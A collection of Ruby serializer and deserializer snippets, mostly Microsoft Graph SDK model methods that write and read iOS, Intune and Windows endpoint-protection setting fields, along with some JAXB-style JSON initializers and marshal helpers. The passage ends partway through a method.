"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"accountBlockModification\", @account_block_modification)\n writer.write_boolean_value(\"activationLockAllowWhenSupervised\", @activation_lock_allow_when_supervised)\n writer.write_boolean_value(\"airDropBlocked\", @air_drop_blocked)\n writer.write_boolean_value(\"airDropForceUnmanagedDropTarget\", @air_drop_force_unmanaged_drop_target)\n writer.write_boolean_value(\"airPlayForcePairingPasswordForOutgoingRequests\", @air_play_force_pairing_password_for_outgoing_requests)\n writer.write_boolean_value(\"appStoreBlockAutomaticDownloads\", @app_store_block_automatic_downloads)\n writer.write_boolean_value(\"appStoreBlockInAppPurchases\", @app_store_block_in_app_purchases)\n writer.write_boolean_value(\"appStoreBlockUIAppInstallation\", @app_store_block_u_i_app_installation)\n writer.write_boolean_value(\"appStoreBlocked\", @app_store_blocked)\n writer.write_boolean_value(\"appStoreRequirePassword\", @app_store_require_password)\n writer.write_boolean_value(\"appleNewsBlocked\", @apple_news_blocked)\n writer.write_boolean_value(\"appleWatchBlockPairing\", @apple_watch_block_pairing)\n writer.write_boolean_value(\"appleWatchForceWristDetection\", @apple_watch_force_wrist_detection)\n writer.write_collection_of_object_values(\"appsSingleAppModeList\", @apps_single_app_mode_list)\n writer.write_collection_of_object_values(\"appsVisibilityList\", @apps_visibility_list)\n writer.write_enum_value(\"appsVisibilityListType\", @apps_visibility_list_type)\n writer.write_boolean_value(\"bluetoothBlockModification\", @bluetooth_block_modification)\n writer.write_boolean_value(\"cameraBlocked\", @camera_blocked)\n writer.write_boolean_value(\"cellularBlockDataRoaming\", @cellular_block_data_roaming)\n writer.write_boolean_value(\"cellularBlockGlobalBackgroundFetchWhileRoaming\", @cellular_block_global_background_fetch_while_roaming)\n writer.write_boolean_value(\"cellularBlockPerAppDataModification\", @cellular_block_per_app_data_modification)\n writer.write_boolean_value(\"cellularBlockPersonalHotspot\", @cellular_block_personal_hotspot)\n writer.write_boolean_value(\"cellularBlockVoiceRoaming\", @cellular_block_voice_roaming)\n writer.write_boolean_value(\"certificatesBlockUntrustedTlsCertificates\", @certificates_block_untrusted_tls_certificates)\n writer.write_boolean_value(\"classroomAppBlockRemoteScreenObservation\", @classroom_app_block_remote_screen_observation)\n writer.write_boolean_value(\"classroomAppForceUnpromptedScreenObservation\", @classroom_app_force_unprompted_screen_observation)\n writer.write_enum_value(\"compliantAppListType\", @compliant_app_list_type)\n writer.write_collection_of_object_values(\"compliantAppsList\", @compliant_apps_list)\n writer.write_boolean_value(\"configurationProfileBlockChanges\", @configuration_profile_block_changes)\n writer.write_boolean_value(\"definitionLookupBlocked\", @definition_lookup_blocked)\n writer.write_boolean_value(\"deviceBlockEnableRestrictions\", @device_block_enable_restrictions)\n writer.write_boolean_value(\"deviceBlockEraseContentAndSettings\", @device_block_erase_content_and_settings)\n writer.write_boolean_value(\"deviceBlockNameModification\", @device_block_name_modification)\n writer.write_boolean_value(\"diagnosticDataBlockSubmission\", @diagnostic_data_block_submission)\n writer.write_boolean_value(\"diagnosticDataBlockSubmissionModification\", @diagnostic_data_block_submission_modification)\n writer.write_boolean_value(\"documentsBlockManagedDocumentsInUnmanagedApps\", @documents_block_managed_documents_in_unmanaged_apps)\n writer.write_boolean_value(\"documentsBlockUnmanagedDocumentsInManagedApps\", @documents_block_unmanaged_documents_in_managed_apps)\n writer.write_collection_of_primitive_values(\"emailInDomainSuffixes\", @email_in_domain_suffixes)\n writer.write_boolean_value(\"enterpriseAppBlockTrust\", @enterprise_app_block_trust)\n writer.write_boolean_value(\"enterpriseAppBlockTrustModification\", @enterprise_app_block_trust_modification)\n writer.write_boolean_value(\"faceTimeBlocked\", @face_time_blocked)\n writer.write_boolean_value(\"findMyFriendsBlocked\", @find_my_friends_blocked)\n writer.write_boolean_value(\"gameCenterBlocked\", @game_center_blocked)\n writer.write_boolean_value(\"gamingBlockGameCenterFriends\", @gaming_block_game_center_friends)\n writer.write_boolean_value(\"gamingBlockMultiplayer\", @gaming_block_multiplayer)\n writer.write_boolean_value(\"hostPairingBlocked\", @host_pairing_blocked)\n writer.write_boolean_value(\"iBooksStoreBlockErotica\", @i_books_store_block_erotica)\n writer.write_boolean_value(\"iBooksStoreBlocked\", @i_books_store_blocked)\n writer.write_boolean_value(\"iCloudBlockActivityContinuation\", @i_cloud_block_activity_continuation)\n writer.write_boolean_value(\"iCloudBlockBackup\", @i_cloud_block_backup)\n writer.write_boolean_value(\"iCloudBlockDocumentSync\", @i_cloud_block_document_sync)\n writer.write_boolean_value(\"iCloudBlockManagedAppsSync\", @i_cloud_block_managed_apps_sync)\n writer.write_boolean_value(\"iCloudBlockPhotoLibrary\", @i_cloud_block_photo_library)\n writer.write_boolean_value(\"iCloudBlockPhotoStreamSync\", @i_cloud_block_photo_stream_sync)\n writer.write_boolean_value(\"iCloudBlockSharedPhotoStream\", @i_cloud_block_shared_photo_stream)\n writer.write_boolean_value(\"iCloudRequireEncryptedBackup\", @i_cloud_require_encrypted_backup)\n writer.write_boolean_value(\"iTunesBlockExplicitContent\", @i_tunes_block_explicit_content)\n writer.write_boolean_value(\"iTunesBlockMusicService\", @i_tunes_block_music_service)\n writer.write_boolean_value(\"iTunesBlockRadio\", @i_tunes_block_radio)\n writer.write_boolean_value(\"keyboardBlockAutoCorrect\", @keyboard_block_auto_correct)\n writer.write_boolean_value(\"keyboardBlockDictation\", @keyboard_block_dictation)\n writer.write_boolean_value(\"keyboardBlockPredictive\", @keyboard_block_predictive)\n writer.write_boolean_value(\"keyboardBlockShortcuts\", @keyboard_block_shortcuts)\n writer.write_boolean_value(\"keyboardBlockSpellCheck\", @keyboard_block_spell_check)\n writer.write_boolean_value(\"kioskModeAllowAssistiveSpeak\", @kiosk_mode_allow_assistive_speak)\n writer.write_boolean_value(\"kioskModeAllowAssistiveTouchSettings\", @kiosk_mode_allow_assistive_touch_settings)\n writer.write_boolean_value(\"kioskModeAllowAutoLock\", @kiosk_mode_allow_auto_lock)\n writer.write_boolean_value(\"kioskModeAllowColorInversionSettings\", @kiosk_mode_allow_color_inversion_settings)\n writer.write_boolean_value(\"kioskModeAllowRingerSwitch\", @kiosk_mode_allow_ringer_switch)\n writer.write_boolean_value(\"kioskModeAllowScreenRotation\", @kiosk_mode_allow_screen_rotation)\n writer.write_boolean_value(\"kioskModeAllowSleepButton\", @kiosk_mode_allow_sleep_button)\n writer.write_boolean_value(\"kioskModeAllowTouchscreen\", @kiosk_mode_allow_touchscreen)\n writer.write_boolean_value(\"kioskModeAllowVoiceOverSettings\", @kiosk_mode_allow_voice_over_settings)\n writer.write_boolean_value(\"kioskModeAllowVolumeButtons\", @kiosk_mode_allow_volume_buttons)\n writer.write_boolean_value(\"kioskModeAllowZoomSettings\", @kiosk_mode_allow_zoom_settings)\n writer.write_string_value(\"kioskModeAppStoreUrl\", @kiosk_mode_app_store_url)\n writer.write_string_value(\"kioskModeBuiltInAppId\", @kiosk_mode_built_in_app_id)\n writer.write_string_value(\"kioskModeManagedAppId\", @kiosk_mode_managed_app_id)\n writer.write_boolean_value(\"kioskModeRequireAssistiveTouch\", @kiosk_mode_require_assistive_touch)\n writer.write_boolean_value(\"kioskModeRequireColorInversion\", @kiosk_mode_require_color_inversion)\n writer.write_boolean_value(\"kioskModeRequireMonoAudio\", @kiosk_mode_require_mono_audio)\n writer.write_boolean_value(\"kioskModeRequireVoiceOver\", @kiosk_mode_require_voice_over)\n writer.write_boolean_value(\"kioskModeRequireZoom\", @kiosk_mode_require_zoom)\n writer.write_boolean_value(\"lockScreenBlockControlCenter\", @lock_screen_block_control_center)\n writer.write_boolean_value(\"lockScreenBlockNotificationView\", @lock_screen_block_notification_view)\n writer.write_boolean_value(\"lockScreenBlockPassbook\", @lock_screen_block_passbook)\n writer.write_boolean_value(\"lockScreenBlockTodayView\", @lock_screen_block_today_view)\n writer.write_enum_value(\"mediaContentRatingApps\", @media_content_rating_apps)\n writer.write_object_value(\"mediaContentRatingAustralia\", @media_content_rating_australia)\n writer.write_object_value(\"mediaContentRatingCanada\", @media_content_rating_canada)\n writer.write_object_value(\"mediaContentRatingFrance\", @media_content_rating_france)\n writer.write_object_value(\"mediaContentRatingGermany\", @media_content_rating_germany)\n writer.write_object_value(\"mediaContentRatingIreland\", @media_content_rating_ireland)\n writer.write_object_value(\"mediaContentRatingJapan\", @media_content_rating_japan)\n writer.write_object_value(\"mediaContentRatingNewZealand\", @media_content_rating_new_zealand)\n writer.write_object_value(\"mediaContentRatingUnitedKingdom\", @media_content_rating_united_kingdom)\n writer.write_object_value(\"mediaContentRatingUnitedStates\", @media_content_rating_united_states)\n writer.write_boolean_value(\"messagesBlocked\", @messages_blocked)\n writer.write_collection_of_object_values(\"networkUsageRules\", @network_usage_rules)\n writer.write_boolean_value(\"notificationsBlockSettingsModification\", @notifications_block_settings_modification)\n writer.write_boolean_value(\"passcodeBlockFingerprintModification\", @passcode_block_fingerprint_modification)\n writer.write_boolean_value(\"passcodeBlockFingerprintUnlock\", @passcode_block_fingerprint_unlock)\n writer.write_boolean_value(\"passcodeBlockModification\", @passcode_block_modification)\n writer.write_boolean_value(\"passcodeBlockSimple\", @passcode_block_simple)\n writer.write_number_value(\"passcodeExpirationDays\", @passcode_expiration_days)\n writer.write_number_value(\"passcodeMinimumCharacterSetCount\", @passcode_minimum_character_set_count)\n writer.write_number_value(\"passcodeMinimumLength\", @passcode_minimum_length)\n writer.write_number_value(\"passcodeMinutesOfInactivityBeforeLock\", @passcode_minutes_of_inactivity_before_lock)\n writer.write_number_value(\"passcodeMinutesOfInactivityBeforeScreenTimeout\", @passcode_minutes_of_inactivity_before_screen_timeout)\n writer.write_number_value(\"passcodePreviousPasscodeBlockCount\", @passcode_previous_passcode_block_count)\n writer.write_boolean_value(\"passcodeRequired\", @passcode_required)\n writer.write_enum_value(\"passcodeRequiredType\", @passcode_required_type)\n writer.write_number_value(\"passcodeSignInFailureCountBeforeWipe\", @passcode_sign_in_failure_count_before_wipe)\n writer.write_boolean_value(\"podcastsBlocked\", @podcasts_blocked)\n writer.write_boolean_value(\"safariBlockAutofill\", @safari_block_autofill)\n writer.write_boolean_value(\"safariBlockJavaScript\", @safari_block_java_script)\n writer.write_boolean_value(\"safariBlockPopups\", @safari_block_popups)\n writer.write_boolean_value(\"safariBlocked\", @safari_blocked)\n writer.write_enum_value(\"safariCookieSettings\", @safari_cookie_settings)\n writer.write_collection_of_primitive_values(\"safariManagedDomains\", @safari_managed_domains)\n writer.write_collection_of_primitive_values(\"safariPasswordAutoFillDomains\", @safari_password_auto_fill_domains)\n writer.write_boolean_value(\"safariRequireFraudWarning\", @safari_require_fraud_warning)\n writer.write_boolean_value(\"screenCaptureBlocked\", @screen_capture_blocked)\n writer.write_boolean_value(\"siriBlockUserGeneratedContent\", @siri_block_user_generated_content)\n writer.write_boolean_value(\"siriBlocked\", @siri_blocked)\n writer.write_boolean_value(\"siriBlockedWhenLocked\", @siri_blocked_when_locked)\n writer.write_boolean_value(\"siriRequireProfanityFilter\", @siri_require_profanity_filter)\n writer.write_boolean_value(\"spotlightBlockInternetResults\", @spotlight_block_internet_results)\n writer.write_boolean_value(\"voiceDialingBlocked\", @voice_dialing_blocked)\n writer.write_boolean_value(\"wallpaperBlockModification\", @wallpaper_block_modification)\n writer.write_boolean_value(\"wiFiConnectOnlyToConfiguredNetworks\", @wi_fi_connect_only_to_configured_networks)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"androidManagedAppProtections\", @android_managed_app_protections)\n writer.write_collection_of_object_values(\"defaultManagedAppProtections\", @default_managed_app_protections)\n writer.write_collection_of_object_values(\"iosManagedAppProtections\", @ios_managed_app_protections)\n writer.write_boolean_value(\"isEnabledForMicrosoftStoreForBusiness\", @is_enabled_for_microsoft_store_for_business)\n writer.write_collection_of_object_values(\"managedAppPolicies\", @managed_app_policies)\n writer.write_collection_of_object_values(\"managedAppRegistrations\", @managed_app_registrations)\n writer.write_collection_of_object_values(\"managedAppStatuses\", @managed_app_statuses)\n writer.write_collection_of_object_values(\"managedEBooks\", @managed_e_books)\n writer.write_collection_of_object_values(\"mdmWindowsInformationProtectionPolicies\", @mdm_windows_information_protection_policies)\n writer.write_string_value(\"microsoftStoreForBusinessLanguage\", @microsoft_store_for_business_language)\n writer.write_date_time_value(\"microsoftStoreForBusinessLastCompletedApplicationSyncTime\", @microsoft_store_for_business_last_completed_application_sync_time)\n writer.write_date_time_value(\"microsoftStoreForBusinessLastSuccessfulSyncDateTime\", @microsoft_store_for_business_last_successful_sync_date_time)\n writer.write_collection_of_object_values(\"mobileAppCategories\", @mobile_app_categories)\n writer.write_collection_of_object_values(\"mobileAppConfigurations\", @mobile_app_configurations)\n writer.write_collection_of_object_values(\"mobileApps\", @mobile_apps)\n writer.write_collection_of_object_values(\"targetedManagedAppConfigurations\", @targeted_managed_app_configurations)\n writer.write_collection_of_object_values(\"vppTokens\", @vpp_tokens)\n writer.write_collection_of_object_values(\"windowsInformationProtectionPolicies\", @windows_information_protection_policies)\n end",
"def init_jaxb_json_hash(_o)\n super _o\n @test = Boolean.from_json(_o['test']) unless _o['test'].nil?\n if !_o['recipientAddressList'].nil?\n @recipientAddressList = Array.new\n _oa = _o['recipientAddressList']\n _oa.each { | _item | @recipientAddressList.push Bignum.from_json(_item) }\n end\n @senderAddress = String.from_json(_o['senderAddress']) unless _o['senderAddress'].nil?\n @senderAddressType = String.from_json(_o['senderAddressType']) unless _o['senderAddressType'].nil?\n @sendAsFlashSms = Boolean.from_json(_o['sendAsFlashSms']) unless _o['sendAsFlashSms'].nil?\n @notificationCallbackUrl = String.from_json(_o['notificationCallbackUrl']) unless _o['notificationCallbackUrl'].nil?\n @clientMessageId = String.from_json(_o['clientMessageId']) unless _o['clientMessageId'].nil?\n @priority = Fixnum.from_json(_o['priority']) unless _o['priority'].nil?\n end",
"def init_jaxb_json_hash(_o)\n super _o\n end",
"def init_jaxb_json_hash(_o)\n super _o\n end",
"def init_jaxb_json_hash(_o)\n super _o\n end",
"def init_jaxb_json_hash(_o)\n super _o\n end",
"def init_jaxb_json_hash(_o)\n super _o\n if !_o['phoneId'].nil?\n _oa = _o['phoneId']\n if(_oa.is_a? Hash)\n @phoneId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @phoneId = Fixnum.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @phoneId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @phoneId.push Fixnum.from_json(_item)\n else\n @phoneId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @phoneId = _oa\n end\n end\n if !_o['number'].nil?\n _oa = _o['number']\n if(_oa.is_a? Hash)\n @number = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @number = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @number = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @number.push String.from_json(_item)\n else\n @number.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @number = _oa\n end\n end\n if !_o['type'].nil?\n _oa = _o['type']\n if(_oa.is_a? Hash)\n @type = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @type = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @type = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @type.push String.from_json(_item)\n else\n @type.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @type = _oa\n end\n end\n if !_o['areaCode'].nil?\n _oa = _o['areaCode']\n if(_oa.is_a? Hash)\n @areaCode = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @areaCode = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @areaCode = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @areaCode.push String.from_json(_item)\n else\n @areaCode.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @areaCode = _oa\n end\n end\n if !_o['extension'].nil?\n _oa = _o['extension']\n if(_oa.is_a? Hash)\n @extension = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @extension = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @extension = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @extension.push String.from_json(_item)\n else\n @extension.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @extension = _oa\n end\n end\n if !_o['primary'].nil?\n _oa = _o['primary']\n if(_oa.is_a? Hash)\n @primary = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @primary = Boolean.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @primary = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @primary.push Boolean.from_json(_item)\n else\n @primary.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @primary = _oa\n end\n end\n end",
"def init_jaxb_json_hash(_o)\n super _o\n if !_o['merchantSubscriptionId'].nil?\n _oa = _o['merchantSubscriptionId']\n if(_oa.is_a? Hash)\n @merchantSubscriptionId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @merchantSubscriptionId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @merchantSubscriptionId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @merchantSubscriptionId.push String.from_json(_item)\n else\n @merchantSubscriptionId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @merchantSubscriptionId = _oa\n end\n end\n if !_o['merchantPaymentMethodId'].nil?\n _oa = _o['merchantPaymentMethodId']\n if(_oa.is_a? Hash)\n @merchantPaymentMethodId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @merchantPaymentMethodId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @merchantPaymentMethodId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @merchantPaymentMethodId.push String.from_json(_item)\n else\n @merchantPaymentMethodId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @merchantPaymentMethodId = _oa\n end\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"registry\" => lambda {|n| @registry = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"connectors\" => lambda {|n| @connectors = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintConnector.create_from_discriminator_value(pn) }) },\n \"hasPhysicalDevice\" => lambda {|n| @has_physical_device = n.get_boolean_value() },\n \"isShared\" => lambda {|n| @is_shared = n.get_boolean_value() },\n \"lastSeenDateTime\" => lambda {|n| @last_seen_date_time = n.get_date_time_value() },\n \"registeredDateTime\" => lambda {|n| @registered_date_time = n.get_date_time_value() },\n \"shares\" => lambda {|n| @shares = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrinterShare.create_from_discriminator_value(pn) }) },\n \"taskTriggers\" => lambda {|n| @task_triggers = n.get_collection_of_object_values(lambda {|pn| MicrosoftGraph::Models::PrintTaskTrigger.create_from_discriminator_value(pn) }) },\n })\n end",
"def serialized\n serializer_class.new(self).serializable_hash\n end",
"def encode_amf serializer\n ::Rails.logger.debug \"[HawkAMF] using default encode_amf method -----------\"\n self.to_amf.encode_amf serializer\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"audioRoutingGroups\", @audio_routing_groups)\n writer.write_string_value(\"callChainId\", @call_chain_id)\n writer.write_object_value(\"callOptions\", @call_options)\n writer.write_collection_of_object_values(\"callRoutes\", @call_routes)\n writer.write_string_value(\"callbackUri\", @callback_uri)\n writer.write_object_value(\"chatInfo\", @chat_info)\n writer.write_collection_of_object_values(\"contentSharingSessions\", @content_sharing_sessions)\n writer.write_enum_value(\"direction\", @direction)\n writer.write_object_value(\"incomingContext\", @incoming_context)\n writer.write_object_value(\"mediaConfig\", @media_config)\n writer.write_object_value(\"mediaState\", @media_state)\n writer.write_object_value(\"meetingInfo\", @meeting_info)\n writer.write_string_value(\"myParticipantId\", @my_participant_id)\n writer.write_collection_of_object_values(\"operations\", @operations)\n writer.write_collection_of_object_values(\"participants\", @participants)\n writer.write_collection_of_object_values(\"requestedModalities\", @requested_modalities)\n writer.write_object_value(\"resultInfo\", @result_info)\n writer.write_object_value(\"source\", @source)\n writer.write_enum_value(\"state\", @state)\n writer.write_string_value(\"subject\", @subject)\n writer.write_collection_of_object_values(\"targets\", @targets)\n writer.write_string_value(\"tenantId\", @tenant_id)\n writer.write_object_value(\"toneInfo\", @tone_info)\n writer.write_object_value(\"transcription\", @transcription)\n end",
"def get_field_deserializers()\n return super.merge({\n \"contentData\" => lambda {|n| @content_data = n.get_string_value() },\n \"destinationRoutingReason\" => lambda {|n| @destination_routing_reason = n.get_enum_value(MicrosoftGraph::Models::MailDestinationRoutingReason) },\n \"recipientEmail\" => lambda {|n| @recipient_email = n.get_string_value() },\n })\n end",
"def marshal_load(arg0)\n end",
"def marshal\n Marshal.dump(data)\n end",
"def marshal_dump # :nodoc:\n [ @identifier, @handler, @compiled, @original_encoding, @locals, @virtual_path, @updated_at, @format, @variants ]\n end",
"def get_field_deserializers()\n return super.merge({\n \"registryHive\" => lambda {|n| @registry_hive = n.get_string_value() },\n \"registryKey\" => lambda {|n| @registry_key = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"appCrashCount\" => lambda {|n| @app_crash_count = n.get_number_value() },\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"appName\" => lambda {|n| @app_name = n.get_string_value() },\n \"appPublisher\" => lambda {|n| @app_publisher = n.get_string_value() },\n \"appVersion\" => lambda {|n| @app_version = n.get_string_value() },\n \"deviceDisplayName\" => lambda {|n| @device_display_name = n.get_string_value() },\n \"deviceId\" => lambda {|n| @device_id = n.get_string_value() },\n \"processedDateTime\" => lambda {|n| @processed_date_time = n.get_date_time_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"appLockerApplicationControl\" => lambda {|n| @app_locker_application_control = n.get_enum_value(MicrosoftGraph::Models::AppLockerApplicationControlType) },\n \"applicationGuardAllowPersistence\" => lambda {|n| @application_guard_allow_persistence = n.get_boolean_value() },\n \"applicationGuardAllowPrintToLocalPrinters\" => lambda {|n| @application_guard_allow_print_to_local_printers = n.get_boolean_value() },\n \"applicationGuardAllowPrintToNetworkPrinters\" => lambda {|n| @application_guard_allow_print_to_network_printers = n.get_boolean_value() },\n \"applicationGuardAllowPrintToPDF\" => lambda {|n| @application_guard_allow_print_to_p_d_f = n.get_boolean_value() },\n \"applicationGuardAllowPrintToXPS\" => lambda {|n| @application_guard_allow_print_to_x_p_s = n.get_boolean_value() },\n \"applicationGuardBlockClipboardSharing\" => lambda {|n| @application_guard_block_clipboard_sharing = n.get_enum_value(MicrosoftGraph::Models::ApplicationGuardBlockClipboardSharingType) },\n \"applicationGuardBlockFileTransfer\" => lambda {|n| @application_guard_block_file_transfer = n.get_enum_value(MicrosoftGraph::Models::ApplicationGuardBlockFileTransferType) },\n \"applicationGuardBlockNonEnterpriseContent\" => lambda {|n| @application_guard_block_non_enterprise_content = n.get_boolean_value() },\n \"applicationGuardEnabled\" => lambda {|n| @application_guard_enabled = n.get_boolean_value() },\n \"applicationGuardForceAuditing\" => lambda {|n| @application_guard_force_auditing = n.get_boolean_value() },\n \"bitLockerDisableWarningForOtherDiskEncryption\" => lambda {|n| @bit_locker_disable_warning_for_other_disk_encryption = n.get_boolean_value() },\n \"bitLockerEnableStorageCardEncryptionOnMobile\" => lambda {|n| @bit_locker_enable_storage_card_encryption_on_mobile = n.get_boolean_value() },\n \"bitLockerEncryptDevice\" => lambda {|n| @bit_locker_encrypt_device = n.get_boolean_value() },\n \"bitLockerRemovableDrivePolicy\" => lambda {|n| @bit_locker_removable_drive_policy = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::BitLockerRemovableDrivePolicy.create_from_discriminator_value(pn) }) },\n \"defenderAdditionalGuardedFolders\" => lambda {|n| @defender_additional_guarded_folders = n.get_collection_of_primitive_values(String) },\n \"defenderAttackSurfaceReductionExcludedPaths\" => lambda {|n| @defender_attack_surface_reduction_excluded_paths = n.get_collection_of_primitive_values(String) },\n \"defenderExploitProtectionXml\" => lambda {|n| @defender_exploit_protection_xml = n.get_object_value(lambda {|pn| Base64url.create_from_discriminator_value(pn) }) },\n \"defenderExploitProtectionXmlFileName\" => lambda {|n| @defender_exploit_protection_xml_file_name = n.get_string_value() },\n \"defenderGuardedFoldersAllowedAppPaths\" => lambda {|n| @defender_guarded_folders_allowed_app_paths = n.get_collection_of_primitive_values(String) },\n \"defenderSecurityCenterBlockExploitProtectionOverride\" => lambda {|n| @defender_security_center_block_exploit_protection_override = n.get_boolean_value() },\n \"firewallBlockStatefulFTP\" => lambda {|n| @firewall_block_stateful_f_t_p = n.get_boolean_value() },\n \"firewallCertificateRevocationListCheckMethod\" => lambda {|n| @firewall_certificate_revocation_list_check_method = n.get_enum_value(MicrosoftGraph::Models::FirewallCertificateRevocationListCheckMethodType) },\n \"firewallIPSecExemptionsAllowDHCP\" => lambda {|n| @firewall_i_p_sec_exemptions_allow_d_h_c_p = n.get_boolean_value() },\n \"firewallIPSecExemptionsAllowICMP\" => lambda {|n| @firewall_i_p_sec_exemptions_allow_i_c_m_p = n.get_boolean_value() },\n \"firewallIPSecExemptionsAllowNeighborDiscovery\" => lambda {|n| @firewall_i_p_sec_exemptions_allow_neighbor_discovery = n.get_boolean_value() },\n \"firewallIPSecExemptionsAllowRouterDiscovery\" => lambda {|n| @firewall_i_p_sec_exemptions_allow_router_discovery = n.get_boolean_value() },\n \"firewallIdleTimeoutForSecurityAssociationInSeconds\" => lambda {|n| @firewall_idle_timeout_for_security_association_in_seconds = n.get_number_value() },\n \"firewallMergeKeyingModuleSettings\" => lambda {|n| @firewall_merge_keying_module_settings = n.get_boolean_value() },\n \"firewallPacketQueueingMethod\" => lambda {|n| @firewall_packet_queueing_method = n.get_enum_value(MicrosoftGraph::Models::FirewallPacketQueueingMethodType) },\n \"firewallPreSharedKeyEncodingMethod\" => lambda {|n| @firewall_pre_shared_key_encoding_method = n.get_enum_value(MicrosoftGraph::Models::FirewallPreSharedKeyEncodingMethodType) },\n \"firewallProfileDomain\" => lambda {|n| @firewall_profile_domain = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WindowsFirewallNetworkProfile.create_from_discriminator_value(pn) }) },\n \"firewallProfilePrivate\" => lambda {|n| @firewall_profile_private = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WindowsFirewallNetworkProfile.create_from_discriminator_value(pn) }) },\n \"firewallProfilePublic\" => lambda {|n| @firewall_profile_public = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::WindowsFirewallNetworkProfile.create_from_discriminator_value(pn) }) },\n \"smartScreenBlockOverrideForFiles\" => lambda {|n| @smart_screen_block_override_for_files = n.get_boolean_value() },\n \"smartScreenEnableInShell\" => lambda {|n| @smart_screen_enable_in_shell = n.get_boolean_value() },\n })\n end",
"def marshal_load x\n @nested_class = x.first\n super x.last\n set_default_proc!\n end",
"def disableSerialization \n \"disableSerialization\" \n end",
"def get_field_deserializers()\n return super.merge({\n \"applicationName\" => lambda {|n| @application_name = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"externalId\" => lambda {|n| @external_id = n.get_string_value() },\n \"webUrl\" => lambda {|n| @web_url = n.get_string_value() },\n })\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"appLockerApplicationControl\", @app_locker_application_control)\n writer.write_boolean_value(\"applicationGuardAllowPersistence\", @application_guard_allow_persistence)\n writer.write_boolean_value(\"applicationGuardAllowPrintToLocalPrinters\", @application_guard_allow_print_to_local_printers)\n writer.write_boolean_value(\"applicationGuardAllowPrintToNetworkPrinters\", @application_guard_allow_print_to_network_printers)\n writer.write_boolean_value(\"applicationGuardAllowPrintToPDF\", @application_guard_allow_print_to_p_d_f)\n writer.write_boolean_value(\"applicationGuardAllowPrintToXPS\", @application_guard_allow_print_to_x_p_s)\n writer.write_enum_value(\"applicationGuardBlockClipboardSharing\", @application_guard_block_clipboard_sharing)\n writer.write_enum_value(\"applicationGuardBlockFileTransfer\", @application_guard_block_file_transfer)\n writer.write_boolean_value(\"applicationGuardBlockNonEnterpriseContent\", @application_guard_block_non_enterprise_content)\n writer.write_boolean_value(\"applicationGuardEnabled\", @application_guard_enabled)\n writer.write_boolean_value(\"applicationGuardForceAuditing\", @application_guard_force_auditing)\n writer.write_boolean_value(\"bitLockerDisableWarningForOtherDiskEncryption\", @bit_locker_disable_warning_for_other_disk_encryption)\n writer.write_boolean_value(\"bitLockerEnableStorageCardEncryptionOnMobile\", 